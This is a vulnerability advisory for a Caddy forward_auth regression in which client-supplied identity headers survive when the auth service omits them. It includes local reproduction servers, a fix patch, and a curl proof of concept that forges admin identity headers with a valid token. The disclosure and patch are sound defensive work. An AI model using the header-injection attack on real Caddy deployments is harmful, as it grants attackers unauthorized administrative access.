CVE-2026-30851

## Summary Caddy's `forward_auth` directive with `copy_headers` generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name. When an auth service returns `200 OK` without one of the configured `copy_headers` headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation. This is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected. --- ## Scope Argument This is a bug in the source code of this repository, not a misconfiguration. The operator uses `forward_auth` with `copy_headers` exactly as documented. The documentation contains no warning that client-supplied headers with the same names as `copy_headers` entries must also be stripped manually. The `forward_auth` directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in `copy_headers`. The bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a `MatchNot` guard to skip the `Set` operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional `Set` provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives. The fix is a single-line code change in `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`. --- ## Affected Versions | Version | Vulnerable | |---|---| | <= v2.9.x | No (old code overwrote client value with empty placeholder) | | v2.10.0 (April 18, 2025) | Yes — first stable release containing PR #6608 | | v2.10.1 | Yes | | v2.10.2 | Yes | | v2.11.0 | Yes | | v2.11.1 (February 23, 2026, current) | Yes — unpatched | **Package:** `github.com/caddyserver/caddy/v2` **Affected file:** `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go` --- ## Root Cause The `parseCaddyfile` function builds one route per `copy_headers` entry. Each route uses a `MatchNot` guard and a `Set` operation: ```go // from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x) copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{ MatcherSetsRaw: []caddy.ModuleMap{{ "not": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{ "vars": h.JSON(caddyhttp.VarsMatcher{ "{" + placeholderName + "}": []string{""}, }), }}}), }}, HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject( handler, "handler", "headers", nil, )}, }) ``` The route runs only when `{http.reverse_proxy.header.X-User-Id}` (the auth service's response header) is non-empty. When the auth service does not return `X-User-Id`, the placeholder is empty, the `MatchNot` guard fires, the route is skipped, and the original client-supplied `X-User-Id` header is never removed. There is no `Delete` operation anywhere in this function. --- ## Minimal Reproduction Config **Caddyfile** (no redactions, as required): ``` { admin off auto_https off debug } :8080 { forward_auth 127.0.0.1:9091 { uri / copy_headers X-User-Id X-User-Role } reverse_proxy 127.0.0.1:9092 } ``` --- ## Reproduction Steps No containers, VMs, or external services are used. All services run as local processes. ### Step 1 — Start the auth service Save as `auth.py` and run `python3 auth.py` in a terminal: ```python # auth.py # Accepts any Bearer token, returns 200 OK with NO identity headers. # Represents a stateless JWT validator that checks signature only. import sys from http.server import HTTPServer, BaseHTTPRequestHandler class H(BaseHTTPRequestHandler): def do_GET(self): auth = self.headers.get('Authorization', '') code = 200 if auth.startswith('Bearer ') else 401 self.send_response(code) self.end_headers() sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\n') sys.stdout.flush() def log_message(self, *a): pass HTTPServer(('127.0.0.1', 9091), H).serve_forever() ``` ### Step 2 — Start the backend Save as `backend.py` and run `python3 backend.py` in a second terminal: ```python # backend.py # Echoes the identity headers it receives. import sys, json from http.server import HTTPServer, BaseHTTPRequestHandler class H(BaseHTTPRequestHandler): def do_GET(self): data = { 'X-User-Id': self.headers.get('X-User-Id', '(absent)'), 'X-User-Role': self.headers.get('X-User-Role', '(absent)'), } body = json.dumps(data, indent=2).encode() self.send_response(200) self.send_header('Content-Type', 'application/json') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) sys.stdout.write(f'[backend] saw: {data}\n') sys.stdout.flush() def log_message(self, *a): pass HTTPServer(('127.0.0.1', 9092), H).serve_forever() ``` ### Step 3 — Start Caddy ```bash caddy run --config Caddyfile --adapter caddyfile ``` ### Step 4 — Run the three test cases **Test A: No token — must be blocked (confirms auth is enforced)** ```bash curl -v http://127.0.0.1:8080/ ``` Expected: `HTTP/1.1 401` --- **Test B: Valid token, no injected headers (baseline)** ```bash curl -v http://127.0.0.1:8080/ \ -H "Authorization: Bearer token123" ``` Expected backend response: ```json { "X-User-Id": "(absent)", "X-User-Role": "(absent)" } ``` --- **Test C: ATTACK — valid token plus injected identity headers** ```bash curl -v http://127.0.0.1:8080/ \ -H "Authorization: Bearer token123" \ -H "X-User-Id: admin" \ -H "X-User-Role: superadmin" ``` Actual backend response (demonstrates the vulnerability): ```json { "X-User-Id": "admin", "X-User-Role": "superadmin" } ``` The backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return `X-User-Id` or `X-User-Role`. Caddy skipped the `Set` operation due to the `MatchNot` guard but never deleted the original headers. The attacker-controlled values survived into the proxied request. **Test C is the proof of the vulnerability.** The attack requires only a valid (non-privileged) token. No admin account is needed. --- ## Full Debug Log Run Caddy with `debug` in the global block (included in the Caddyfile above). The relevant log lines from Test C will show: ``` DEBUG http.handlers.reverse_proxy selected upstream {"dial": "127.0.0.1:9091"} DEBUG http.handlers.reverse_proxy upstream responded {"status": 200} DEBUG http.handlers.reverse_proxy handling response {"handler": "copy_headers"} ``` Note that no log line will show a header deletion because no deletion occurs. The `X-User-Id` and `X-User-Role` headers are never touched. --- ## Impact Any deployment using `forward_auth` with `copy_headers` where the auth service validates credentials without returning identity headers in its response. This is common in: - Stateless JWT validators (verify signature, no response headers) - Session validators that leave identity decoding to the backend - Auth services where only some requests return identity headers Attack: 1. Attacker has any valid auth token 2. Attacker sends request with forged `X-User-Id: admin` and `X-User-Role: superadmin` 3. Auth service validates token, returns `200 OK`, no identity headers 4. Caddy skips `Set` (placeholder empty), never deletes original headers 5. Backend receives `X-User-Id: admin`, `X-User-Role: superadmin` 6. Backend grants admin access CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **8.1 High** --- ## Working Patch ```diff --- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go +++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go @@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error) copyHeaderRoutes := []caddyhttp.Route{} for _, from := range sortedHeadersToCopy { to := http.CanonicalHeaderKey(headersToCopy[from]) placeholderName := "http.reverse_proxy.header." + http.CanonicalHeaderKey(from) + + // Security fix: unconditionally delete the client-supplied header + // before the conditional set runs. Without this, a client that + // pre-supplies a header listed in copy_headers can inject arbitrary + // values when the auth service does not return that header, because + // the MatchNot guard below skips the Set entirely (leaving the + // original client value intact). + copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{ + HandlersRaw: []json.RawMessage{ + caddyconfig.JSONModuleObject( + &headers.Handler{ + Request: &headers.HeaderOps{ + Delete: []string{to}, + }, + }, + "handler", "headers", nil, + ), + }, + }) + handler := &headers.Handler{ Request: &headers.HeaderOps{ Set: http.Header{ ``` The `delete` route has no matcher, so it always runs. It fires before the existing `MatchNot + Set` route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent `Set` then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing. This is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers. --- ## Uniqueness Confirmation The following were checked and confirmed not to cover this vulnerability: - All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g - GitHub issue #7459 (malformed Host header) - GitHub issue #6610 (template placeholder leakage in copy_headers — fixed by PR #6608, which introduced this regression) - All Caddy community forum threads on `forward_auth`, `copy_headers`, and header stripping - CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy) - CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core) - PR #6608 comment thread (no security discussion) - cvedetails.com Caddy product listing (no matching CVE) No prior report exists for this specific behavior. --- ## References - Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go - PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608 - Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610 - forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth --- ## Fix Fix PR - https://github.com/caddyserver/caddy/pull/7545 --- ## AI Disclosure An LLM was used to polish the report.

Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation in github.com/caddyserver/caddy